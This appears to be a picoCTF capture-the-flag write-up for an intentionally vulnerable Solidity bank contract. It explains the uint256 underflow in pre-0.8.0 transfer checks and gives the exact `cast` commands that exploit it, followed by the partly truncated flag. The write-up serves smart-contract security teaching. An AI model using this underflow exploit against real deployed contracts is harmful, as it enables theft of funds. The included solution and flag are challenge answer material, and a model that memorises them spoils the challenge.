Description
Welcome! The contract tracks balances using uint256 math. It should be impossible to get the flag... Contract: here
Download and read IntOverflowBank.sol.
Note the Solidity version -- versions before 0.8.0 do not check for arithmetic overflow.
cat IntOverflowBank.sol
Solution
- Step 1Identify the integer underflowThe contract is compiled with Solidity < 0.8.0, which lacks built-in overflow/underflow protection. The transfer function contains `require(balances[msg.sender] - _amount >= 0)`. This check is always true for uint256 -- unsigned integers can never be negative, so `0 - 1` silently underflows to 2^256-1 (max uint256). The subtraction wraps before the comparison is evaluated.cat IntOverflowBank.sol
- Step 2Trigger the underflow with a transfer of 1 from a zero balanceCall the transfer function with an amount of 1 when your balance is 0. The uint256 underflows to the maximum value (2^256-1), giving you an astronomically large balance and triggering the win condition.# Check your initial balance (should be 0):cast call $CONTRACT "balances(address)" $YOUR_ADDR --rpc-url $RPC_URL# Trigger the underflow:cast send $CONTRACT "transfer(address,uint256)" 0x0000000000000000000000000000000000000001 1 \ --private-key $PRIVATE_KEY --rpc-url $RPC_URL# Verify your balance is now enormous:cast call $CONTRACT "balances(address)" $YOUR_ADDR --rpc-url $RPC_URL
- Step 3Claim the flagWith your balance now at max uint256, the contract's win condition is met. Call the flag retrieval function.cast call $CONTRACT "isSolved()(bool)" --rpc-url $RPC_URLcast call $CONTRACT "getFlag()(string)" --rpc-url $RPC_URL
Flag
picoCTF{sm4rt_0v3rfl0w_...}
Solidity < 0.8.0 silent underflow: `require(balances[sender] - amount >= 0)` is always true for uint256. Transferring 1 token from a zero balance wraps the balance to 2^256-1, instantly satisfying the win condition.